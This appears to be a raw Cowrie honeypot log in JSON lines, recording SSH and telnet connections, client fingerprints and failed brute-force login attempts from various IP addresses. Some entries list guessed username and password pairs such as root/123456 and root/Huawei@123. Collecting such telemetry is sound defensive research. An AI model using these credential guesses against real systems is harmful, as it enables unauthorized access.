{"eventid":"cowrie.login.failed","username":"root","password":"artur2010","message":"login attempt [root/artur2010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:14.938013Z","src_ip":"38.93.206.2","session":"bdf111e0e899","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:15.991346Z","src_ip":"38.93.206.2","session":"bdf111e0e899","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.205.153","src_port":54924,"dst_ip":"10.17.0.5","dst_port":22,"session":"460533a5a7bd","protocol":"ssh","message":"New connection: 152.32.205.153:54924 (10.17.0.5:22) [session: 460533a5a7bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:22.623250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:22.627247Z","src_ip":"152.32.205.153","session":"460533a5a7bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:22.637202Z","src_ip":"152.32.205.153","session":"460533a5a7bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"123456","message":"login attempt [username/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:22.713111Z","src_ip":"152.32.205.153","session":"460533a5a7bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":36702,"dst_ip":"10.17.0.5","dst_port":22,"session":"e555bf9cf104","protocol":"ssh","message":"New connection: 8.210.75.243:36702 (10.17.0.5:22) [session: e555bf9cf104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:23.203952Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:23.727865Z","src_ip":"152.32.205.153","session":"460533a5a7bd","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:25.442744Z","src_ip":"8.210.75.243","session":"e555bf9cf104","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.53.185.81","src_port":56606,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9674317f8d1","protocol":"ssh","message":"New connection: 152.53.185.81:56606 (10.17.0.5:22) [session: d9674317f8d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:26.096791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:26.100958Z","src_ip":"152.53.185.81","session":"d9674317f8d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:26.190449Z","src_ip":"152.53.185.81","session":"d9674317f8d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf123.","message":"login attempt [root/asdf123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:26.581286Z","src_ip":"152.53.185.81","session":"d9674317f8d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:27.680086Z","src_ip":"152.53.185.81","session":"d9674317f8d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:27.748724Z","src_ip":"8.210.75.243","session":"e555bf9cf104","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.196.150.5","src_port":46280,"dst_ip":"10.17.0.5","dst_port":22,"session":"17c855a24459","protocol":"ssh","message":"New connection: 196.196.150.5:46280 (10.17.0.5:22) [session: 17c855a24459]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:35.252030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:35.255990Z","src_ip":"196.196.150.5","session":"17c855a24459","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:35.364266Z","src_ip":"196.196.150.5","session":"17c855a24459","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"168168","message":"login attempt [root/168168] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:35.820385Z","src_ip":"196.196.150.5","session":"17c855a24459","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:36.929200Z","src_ip":"196.196.150.5","session":"17c855a24459","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":37028,"dst_ip":"159.203.135.109","dst_port":23,"session":"28e99e7818e7","protocol":"telnet","message":"New connection: 170.64.224.25:37028 (159.203.135.109:23) [session: 28e99e7818e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:39.039782Z"}
{"eventid":"cowrie.session.closed","duration":56.3981659412384,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:42.626693Z","src_ip":"170.64.224.25","session":"b6d0a4dfbc38","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:43.009824Z","src_ip":"8.210.75.243","session":"80d85ed192a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:52.173450Z","src_ip":"8.210.75.243","session":"e555bf9cf104","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:53.989720Z","src_ip":"8.210.75.243","session":"8ba9bde758d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.143.200.246","src_port":43242,"dst_ip":"10.17.0.5","dst_port":22,"session":"06e215473d2b","protocol":"ssh","message":"New connection: 45.143.200.246:43242 (10.17.0.5:22) [session: 06e215473d2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:57.575316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:57.580480Z","src_ip":"45.143.200.246","session":"06e215473d2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:57.687537Z","src_ip":"45.143.200.246","session":"06e215473d2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ys123456!","message":"login attempt [root/Ys123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:58.136085Z","src_ip":"45.143.200.246","session":"06e215473d2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.1.218","src_port":40538,"dst_ip":"10.17.0.5","dst_port":22,"session":"e27b82f8f81e","protocol":"ssh","message":"New connection: 163.7.1.218:40538 (10.17.0.5:22) [session: e27b82f8f81e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:59.054804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:59.058919Z","src_ip":"163.7.1.218","session":"e27b82f8f81e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:59.244236Z","src_ip":"45.143.200.246","session":"06e215473d2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:16:59.311565Z","src_ip":"163.7.1.218","session":"e27b82f8f81e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop","message":"login attempt [root/qwertyuiop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:00.355507Z","src_ip":"163.7.1.218","session":"e27b82f8f81e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:01.523175Z","src_ip":"8.210.75.243","session":"04cf73c782d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:01.614357Z","src_ip":"163.7.1.218","session":"e27b82f8f81e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.161.222.150","src_port":58484,"dst_ip":"159.203.135.109","dst_port":22,"session":"57decb0744f4","protocol":"ssh","message":"New connection: 113.161.222.150:58484 (159.203.135.109:22) [session: 57decb0744f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:02.659962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:02.664507Z","src_ip":"113.161.222.150","session":"57decb0744f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:02.912547Z","src_ip":"113.161.222.150","session":"57decb0744f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:03.902168Z","src_ip":"113.161.222.150","session":"57decb0744f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:05.150871Z","src_ip":"113.161.222.150","session":"57decb0744f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":39236,"dst_ip":"10.17.0.5","dst_port":22,"session":"688cbd61cf5d","protocol":"ssh","message":"New connection: 91.92.40.4:39236 (10.17.0.5:22) [session: 688cbd61cf5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:07.729190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:07.733130Z","src_ip":"91.92.40.4","session":"688cbd61cf5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:07.813614Z","src_ip":"91.92.40.4","session":"688cbd61cf5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"qwe123","message":"login attempt [git/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:08.058773Z","src_ip":"91.92.40.4","session":"688cbd61cf5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:17:09.142554Z","src_ip":"91.92.40.4","session":"688cbd61cf5d","protocol":"ssh"}
